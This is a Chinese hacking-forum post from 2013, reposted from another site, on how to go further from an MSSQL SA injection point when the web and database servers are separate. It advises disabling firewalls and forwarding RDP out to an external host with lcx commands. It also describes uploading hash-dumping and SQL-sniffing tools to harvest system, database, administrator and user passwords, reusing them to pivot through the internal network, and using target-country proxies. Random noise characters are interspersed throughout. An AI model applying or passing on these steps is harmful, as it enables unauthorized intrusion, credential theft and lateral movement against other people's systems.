找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2322|回复: 0
打印 上一主题 下一主题

SA权限网站和数据库分离的一些思路

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:46:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
& A8 o7 s- [( Q; H. ~) R: T* Y: y3 ]' i9 T

" W8 |, j0 T! b7 v8 H; q1 @9 t/ r/ H6 i7 W
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
# k' n) ~0 D* e# a5 E& o4 B- D8 [$ [- q# O& d0 [6 h

. `3 L" y5 s. L3 h' H" {, f, V一、DB机有公网IP.; E5 q8 Q" P* H- \' I$ J# q/ x
4 C+ M4 U% X, ?
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
  ^3 _8 }1 N0 z* w3 }" V" D5 K! D" z( F( k2 S

, V9 s( D6 D! w, J- p" J" H9 n; n2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
4 C) b5 D' t/ m+ ?4 D% e$ }
6 Q* Q" p& E) t8 v" }& S" h! H" m4 G4 X/ ~! h6 R/ ~
3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
7 ~& c+ h7 V+ O6 N" e8 n/ F* b: Z- o1 J( }2 }$ r- |1 x
9 w3 k  Q9 N# U
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.$ m; C2 S, s% Q

  |7 H4 F; j8 e! A7 ^4 B/ q
# L1 f+ j  x& A  i" W2 q) s
0 }# x7 v* G8 E二、DB机只有内网IP/ Q+ l4 a% U7 h% h- D# [9 ^
5 H( ~7 t( Z0 V5 A9 \. B) c
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
1 k& F2 c, L$ z! P/ [8 H4 q: Y
7 Y, m+ a; F" j& |! A4 }
2:停掉防火墙和IP策略再从内往外扫描.6 H7 P" I* I* C* q% X' v
4 }# `. i8 `4 y! ]4 i7 l
- l  N" u; g7 W9 I3 j0 a# B  j- c1 j
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.9 U$ p( ~/ B/ V  ]9 M0 N  l: @

2 ~4 [; ~) d) Z4 Z: q' Z8 M6 s' s- O6 b
4:学会密码规律分析往往会有惊喜.* S9 M9 B( i0 E5 V4 @3 {" k

4 W" x) V% a2 V+ }: q2 B7 l! _# `  T) Y
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
' Z% G  C4 y9 G5 d; `
; I: \1 P& Y, z4 n4 d2 X. D5 \% f) }
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表